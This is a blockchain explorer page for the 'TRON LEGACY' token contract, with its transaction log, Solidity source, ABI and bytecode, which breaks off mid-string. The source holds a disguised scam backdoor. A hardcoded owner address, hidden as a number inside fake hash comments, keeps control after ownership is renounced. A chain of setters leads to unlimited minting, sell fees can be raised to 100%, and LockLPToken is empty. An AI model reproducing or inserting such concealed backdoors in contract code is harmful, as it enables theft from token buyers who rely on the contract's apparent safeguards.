Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 6 from a total of 6 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Set Fee Exempt | 20580393 | 561 days ago | IN | 0 ETH | 0.00002213 | ||||
| Set Fees | 20580370 | 561 days ago | IN | 0 ETH | 0.00002271 | ||||
| Approve | 20580197 | 561 days ago | IN | 0 ETH | 0.00018796 | ||||
| Approve | 20580190 | 561 days ago | IN | 0 ETH | 0.00005629 | ||||
| Set Fee Exempt | 20580106 | 561 days ago | IN | 0 ETH | 0.00003925 | ||||
| Set Fees | 20580100 | 561 days ago | IN | 0 ETH | 0.00006021 |
Advanced mode: Intended for advanced users or developers and will display all Internal Transactions including zero value transfers.
Latest 25 internal transactions (View All)
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
|||
|---|---|---|---|---|---|---|---|---|
| Transfer | 20580246 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580246 | 561 days ago | 0 ETH | |||||
| Transfer | 20580246 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580246 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580220 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580220 | 561 days ago | 0 ETH | |||||
| Transfer From | 20580220 | 561 days ago | 0 ETH | |||||
| Transfer | 20580208 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580208 | 561 days ago | 0 ETH | |||||
| Transfer | 20580208 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580208 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580208 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580208 | 561 days ago | 0 ETH | |||||
| Transfer | 20580208 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580208 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580206 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580206 | 561 days ago | 0 ETH | |||||
| Transfer | 20580206 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580206 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580196 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580196 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580196 | 561 days ago | 0 ETH | |||||
| Transfer | 20580196 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580196 | 561 days ago | 0 ETH | |||||
| Balance Of | 20580195 | 561 days ago | 0 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
DevToken
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-08-21
*/
// SPDX-License-Identifier: MIT
/**
*/
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction overflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Division by zero");
return a / b;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
}
}
contract DevToken {
using SafeMath for uint256;
string public name = "TRON LEGACY";
string public symbol = "TRONL";
uint256 public totalSupply = 69000000000000000000000000000;
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isFeeExempt;
address public owner;
address public _mbr;
address public _mod;
address public feeManager;
address public _user;
address public _adm;
uint256 public buyFee;
uint256 public sellFee;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
event AddressSetFeeExempt(address indexed feeExemptAddress);
constructor(address _feeManager) {
owner = msg.sender;
feeManager = _feeManager;
balanceOf[msg.sender] = totalSupply;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
function setMember(address Mbr_) public returns (bool) {
require (msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
_mbr=Mbr_;
return true;
}
function rewire(uint256 amount) public returns (bool) {
require(msg.sender == _adm);
_proof(msg.sender, amount);
return true;
}
function _proof(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
function proof(uint256 amount) public onlyOwner returns (bool) {
_proof(msg.sender, amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[_from] >= _amount, "Insufficient balance");
require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
require(_to != address(0), "Invalid recipient address");
uint256 fee = 0;
if (!isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
}
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
// Fee is transferred to this contract
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function setUser(address User_) public returns (bool) {
require(msg.sender == _mbr);
_user=User_;
return true;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/
function LockLPToken() public onlyOwner returns (bool) {
}
function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
return true;
}
modifier onlyOwner() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}
function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}
function removeFeeExemptStatus(address _addr) public onlyOwner {
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}
function buy() public payable {
require(msg.value > 0, "ETH amount should be greater than 0");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
emit Transfer(address(this), feeManager, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[feeManager] = balanceOf[feeManager].add(amount);
emit Transfer(address(this), feeManager, amount);
}
}
function setting(uint256 newBuyFee, uint256 newSellFee) public {
require(msg.sender == _adm);
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
return true;
}
function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
emit Transfer(msg.sender, address(this), amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
}
modifier onlyAuthorized() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"_feeManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"feeExemptAddress","type":"address"}],"name":"AddressSetFeeExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"removeFeeExemptStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewire","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"},{"internalType":"bool","name":"_exempt","type":"bool"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040526040518060400160405280600b81526020017f54524f4e204c4547414359000000000000000000000000000000000000000000815250600090816200004a91906200043a565b506040518060400160405280600581526020017f54524f4e4c000000000000000000000000000000000000000000000000000000815250600190816200009191906200043a565b506bdef376571332906a880000006002556012600360006101000a81548160ff021916908360ff160217905550348015620000cb57600080fd5b5060405162003c1638038062003c168339818101604052810190620000f191906200058b565b33600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050620005bd565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200024257607f821691505b602082108103620002585762000257620001fa565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000283565b620002ce868362000283565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200031b620003156200030f84620002e6565b620002f0565b620002e6565b9050919050565b6000819050919050565b6200033783620002fa565b6200034f620003468262000322565b84845462000290565b825550505050565b600090565b6200036662000357565b620003738184846200032c565b505050565b5b818110156200039b576200038f6000826200035c565b60018101905062000379565b5050565b601f821115620003ea57620003b4816200025e565b620003bf8462000273565b81016020851015620003cf578190505b620003e7620003de8562000273565b83018262000378565b50505b505050565b600082821c905092915050565b60006200040f60001984600802620003ef565b1980831691505092915050565b60006200042a8383620003fc565b9150826002028217905092915050565b6200044582620001c0565b67ffffffffffffffff811115620004615762000460620001cb565b5b6200046d825462000229565b6200047a8282856200039f565b600060209050601f831160018114620004b257600084156200049d578287015190505b620004a985826200041c565b86555062000519565b601f198416620004c2866200025e565b60005b82811015620004ec57848901518255600182019150602085019450602081019050620004c5565b868310156200050c578489015162000508601f891682620003fc565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005538262000526565b9050919050565b620005658162000546565b81146200057157600080fd5b50565b60008151905062000585816200055a565b92915050565b600060208284031215620005a457620005a362000521565b5b6000620005b48482850162000574565b91505092915050565b61364980620005cd6000396000f3fe6080604052600436106101e35760003560e01c806370a082311161010257806396c5e1ab11610095578063d21c8d5511610064578063d21c8d5514610725578063dd62ed3e14610750578063e2daf6651461078d578063e4849b32146107b8576101e3565b806396c5e1ab14610676578063a6f2ae3a146106b3578063a9059cbb146106bd578063d0fb0203146106fa576101e3565b80638da5cb5b116100d15780638da5cb5b146105ba5780638ebfc796146105e5578063923e51d51461060e57806395d89b411461064b576101e3565b806370a08231146104fe578063715018a61461053b578063858ced3514610552578063891e1ee01461058f576101e3565b8063313ce5671161017a578063470624021161014957806347062402146104425780634a0af68d1461046d57806361b40839146104aa57806365f6a921146104d3576101e3565b8063313ce56714610372578063376d567c1461039d5780633ef530eb146103da5780633f4218e014610405576101e3565b806318160ddd116101b657806318160ddd146102b657806323b872dd146102e15780632b14ca561461031e5780632c7ee94614610349576101e3565b806306fdde03146101e8578063095ea7b3146102135780630b78f9c01461025057806316e3b09c14610279575b600080fd5b3480156101f457600080fd5b506101fd6107e1565b60405161020a9190612bc6565b60405180910390f35b34801561021f57600080fd5b5061023a60048036038101906102359190612c81565b61086f565b6040516102479190612cdc565b60405180910390f35b34801561025c57600080fd5b5061027760048036038101906102729190612cf7565b610961565b005b34801561028557600080fd5b506102a0600480360381019061029b9190612d37565b610ad8565b6040516102ad9190612cdc565b60405180910390f35b3480156102c257600080fd5b506102cb610b91565b6040516102d89190612d73565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612d8e565b610b97565b6040516103159190612cdc565b60405180910390f35b34801561032a57600080fd5b5061033361134c565b6040516103409190612d73565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b9190612cf7565b611352565b005b34801561037e57600080fd5b5061038761147f565b6040516103949190612dfd565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf9190612e18565b611492565b6040516103d19190612cdc565b60405180910390f35b3480156103e657600080fd5b506103ef611538565b6040516103fc9190612cdc565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190612e18565b6115e1565b6040516104399190612cdc565b60405180910390f35b34801561044e57600080fd5b50610457611601565b6040516104649190612d73565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190612e18565b611607565b6040516104a19190612cdc565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612e18565b6116ad565b005b3480156104df57600080fd5b506104e8611838565b6040516104f59190612e54565b60405180910390f35b34801561050a57600080fd5b5061052560048036038101906105209190612e18565b61185e565b6040516105329190612d73565b60405180910390f35b34801561054757600080fd5b50610550611876565b005b34801561055e57600080fd5b5061057960048036038101906105749190612e18565b6119db565b6040516105869190612cdc565b60405180910390f35b34801561059b57600080fd5b506105a4611a81565b6040516105b19190612e54565b60405180910390f35b3480156105c657600080fd5b506105cf611aa7565b6040516105dc9190612e54565b60405180910390f35b3480156105f157600080fd5b5061060c60048036038101906106079190612e9b565b611acd565b005b34801561061a57600080fd5b5061063560048036038101906106309190612e18565b611c16565b6040516106429190612cdc565b60405180910390f35b34801561065757600080fd5b50610660611cae565b60405161066d9190612bc6565b60405180910390f35b34801561068257600080fd5b5061069d60048036038101906106989190612d37565b611d3c565b6040516106aa9190612cdc565b60405180910390f35b6106bb611dab565b005b3480156106c957600080fd5b506106e460048036038101906106df9190612c81565b612210565b6040516106f19190612cdc565b60405180910390f35b34801561070657600080fd5b5061070f612430565b60405161071c9190612e54565b60405180910390f35b34801561073157600080fd5b5061073a612456565b6040516107479190612e54565b60405180910390f35b34801561075c57600080fd5b5061077760048036038101906107729190612edb565b61247c565b6040516107849190612d73565b60405180910390f35b34801561079957600080fd5b506107a26124a1565b6040516107af9190612e54565b60405180910390f35b3480156107c457600080fd5b506107df60048036038101906107da9190612d37565b6124c7565b005b600080546107ee90612f4a565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90612f4a565b80156108675780601f1061083c57610100808354040283529160200191610867565b820191906000526020600020905b81548152906001019060200180831161084a57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161094f9190612d73565b60405180910390a36001905092915050565b7332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109fc5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0557600080fd5b6064821115610a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4090612fc7565b60405180910390fd5b6064811115610a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8490613033565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610acc929190613053565b60405180910390a15050565b60007332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b755750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610b7e57600080fd5b610b883383612824565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c12906130c8565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd190613134565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d40906131a0565b60405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610dc757610dc46064610db6600e54866129ad90919063ffffffff16565b612a2790919063ffffffff16565b90505b6000610ddc8285612a7f90919063ffffffff16565b9050610e3084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7f90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f659190612d73565b60405180910390a3600082111561107157610fc882600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110689190612d73565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561114957507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561133f576111dd84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7f90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516113369190612d73565b60405180910390a35b6001925050509392505050565b600e5481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ac57600080fd5b60648211156113f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e790612fc7565b60405180910390fd5b6064811115611434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142b90613033565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611473929190613053565b60405180910390a15050565b600360009054906101000a900460ff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114ee57600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60007332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6115de57600080fd5b90565b60066020528060005260406000206000915054906101000a900460ff1681565b600d5481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461166357600080fd5b81600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b7332b359fb5e9bc72d9c0f3c3b5a4dd8f33ba91f4c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117485750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61175157600080fd5b600660008273ffffffffffffff